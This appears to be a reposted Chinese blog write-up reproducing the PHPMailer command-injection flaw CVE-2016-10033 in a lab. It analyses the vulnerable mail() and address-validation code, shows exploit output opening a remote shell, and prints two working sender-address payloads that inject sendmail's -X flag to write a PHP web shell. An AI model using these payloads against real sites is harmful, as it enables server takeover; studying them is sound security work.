PHPMailer 命令執行漏洞(CVE-2016-10033)復現


前言

PHPMailer沒有聽過,比較好奇,最近正好在學習PHP代碼審計,所以來復現這個CVE,學習點新東西。

漏洞簡介

PHPMailer是一個基於PHP語言的郵件發送組件,被廣泛運用於諸如WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla!等用戶量巨大的應用與框架中。

CVE-2016-10033是PHPMailer中存在的高危安全漏洞,攻擊者只需巧妙地構造出一個惡意郵箱地址,即可寫入任意文件,造成遠程命令執行的危害。

使用它可以更加便捷的發送郵件,並且還能發送附件和 HTML 格式的郵件,同時還能使用 SMTP 服務器來發送郵件。

很巧,又是組件問題,看看最近的log4j吧,,,,鯊瘋了。。

影響版本

PHPMailer < 5.2.18

漏洞復現

漏洞環境

復現地址https://github.com/opsxcq/exploit-CVE-2016-10033

搭建完成效果

image-20211213105744272

漏洞利用

 ./exp.sh host:port

等待2分鍾左右,即可創建后面成功,並且拿到shell

 ./exploit.sh localhost:8080
 [+] CVE-2016-10033 exploit by opsxcq
 [+] Exploiting localhost:8080
 [+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
 [+] Checking if the backdoor was created on target system
 [+] Backdoor.php found on remote system
 [+] Running whoami
 www-data
 RemoteShell> id
 [+] Running id
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 RemoteShell>

漏洞分析

漏洞原理:

PHP通過mail函數發送郵件

 mail(to,subject,message,headers,parameters)  
   # PHP mail() 函數用於從腳本中發送電子郵件。
   # 第五個參數可選的,而問題就出這個參數。

mail函數最終是調用的系統的sendmail進行郵件發送,而sendmail支持-X參數,通過這個參數(第五個參數)可以將日志寫入指定文件。可以寫文件,當然就可以寫shell,造成RCE了。

sendmail使用指南,更多參數使用。

跟蹤mail函數

image-20211213115333478

回溯找params變量

 $params = null;
         //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
         if (!empty($this->Sender)) {
             $params = sprintf('-f%s', $this->Sender);
        }

回溯Sender,需要經過validateAddress()過濾

             // Validate From, Sender, and ConfirmReadingTo addresses
             foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                 $this->$address_kind = trim($this->$address_kind);
                 if (empty($this->$address_kind)) {
                     continue;
                }
                 $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                 if (!$this->validateAddress($this->$address_kind)) {
                     $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                     $this->setError($error_message);
                     $this->edebug($error_message);
                     if ($this->exceptions) {
                         throw new phpmailerException($error_message);
                    }
                     return false;
                }
            }

看看validateAddress函數

 public static function validateAddress($address, $patternselect = null)
    {
         if (is_null($patternselect)) {
             $patternselect = self::$validator;
        }
         if (is_callable($patternselect)) {
             return call_user_func($patternselect, $address);
        }
         //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
         if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
             return false;
        }
         if (!$patternselect or $patternselect == 'auto') {
             //Check this constant first so it works when extension_loaded() is disabled by safe mode
             //Constant was added in PHP 5.2.4
             if (defined('PCRE_VERSION')) {
                 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                     $patternselect = 'pcre8';
                } else {
                     $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                 //Fall back to older PCRE
                 $patternselect = 'pcre';
            } else {
                 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                     $patternselect = 'php';
                } else {
                     $patternselect = 'noregex';
                }
            }
        }
         switch ($patternselect) {
             case 'pcre8':
                 /**
                  * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                  * @link http://squiloople.com/2009/12/20/email-address-validation/
                  * @copyright 2009-2010 Michael Rushton
                  * Feel free to use and redistribute this code. But please keep this copyright notice.
                  */
                 return (boolean)preg_match(
                     '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                     '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                     '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                     '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                     '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                     '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                     '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                     '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                     '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                     $address
                );
             case 'pcre':
                 //An older regex that doesn't need a recent PCRE
                 return (boolean)preg_match(
                     '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                     '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                     '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                     '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                     '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                     '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                     '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                     '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                     '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                     '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                     $address
                );
             case 'html5':
                 /**
                  * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                  * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                  */
                 return (boolean)preg_match(
                     '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                     '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                     $address
                );
             case 'noregex':
                 //No PCRE! Do something _very_ approximate!
                 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                 return (strlen($address) >= 3
                     and strpos($address, '@') >= 1
                     and strpos($address, '@') != strlen($address) - 1);
             case 'php':
             default:
                 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

代碼邏輯

  1. 默認patternselect==‘auto’,它會自動選擇一個方式對email進行檢測

  2. 如果php支持正則PCRE(也就是包含preg_replace函數),就用正則的方式來檢查,就是那一大串很難讀懂的正則

  3. 如果php不支持PCRE,且PHP版本大於PHP5.2.0,就是用PHP自帶的filter來檢查email

  4. 如果php不支持PCRE,且PHP版本低於PHP5.2.0,就直接檢查email中是否包含@且不是最后一個字符,長度還需要大於3

如果滿足邏輯4的條件,構造惡意字符,繞過檢測即可

可以參考https://github.com/opsxcq/exploit-CVE-2016-10033

但是如果無法php版本比較高,無法滿足邏輯4,怎么辦呢?

繞正則!!!

 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                     '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                     '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                     '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                     '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                     '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                     '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                     '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                     '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD'

看不懂,先跳過,之后再出分析正則的文章吧.

直接上師傅的payload1:

 "<?system($_GET['pew']);?>". -OQueueDirectory=/tmp/. -X./images/zwned.php @swehack.org
 
 # -OQueueDirectory=/tmp/ :設置了排列信息的地址
 # -X:日志文件的地址
 # 用於繞過的字符串

payload2:

 aaa( -X/home/www/success.php )@qq.com
 # 有點看不懂,官方解釋:@前面,如果加上括號,將可以引入空格

總結

學習了組件PHPMailer和mail函數,收獲很多(組件漏洞值得重視。。。

下期看看這個正則分析。

參考

https://github.com/opsxcq/exploit-CVE-2016-10033

https://blog.chaitin.cn/phpmailer-cve-2016-10033/

https://paper.seebug.org/161/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM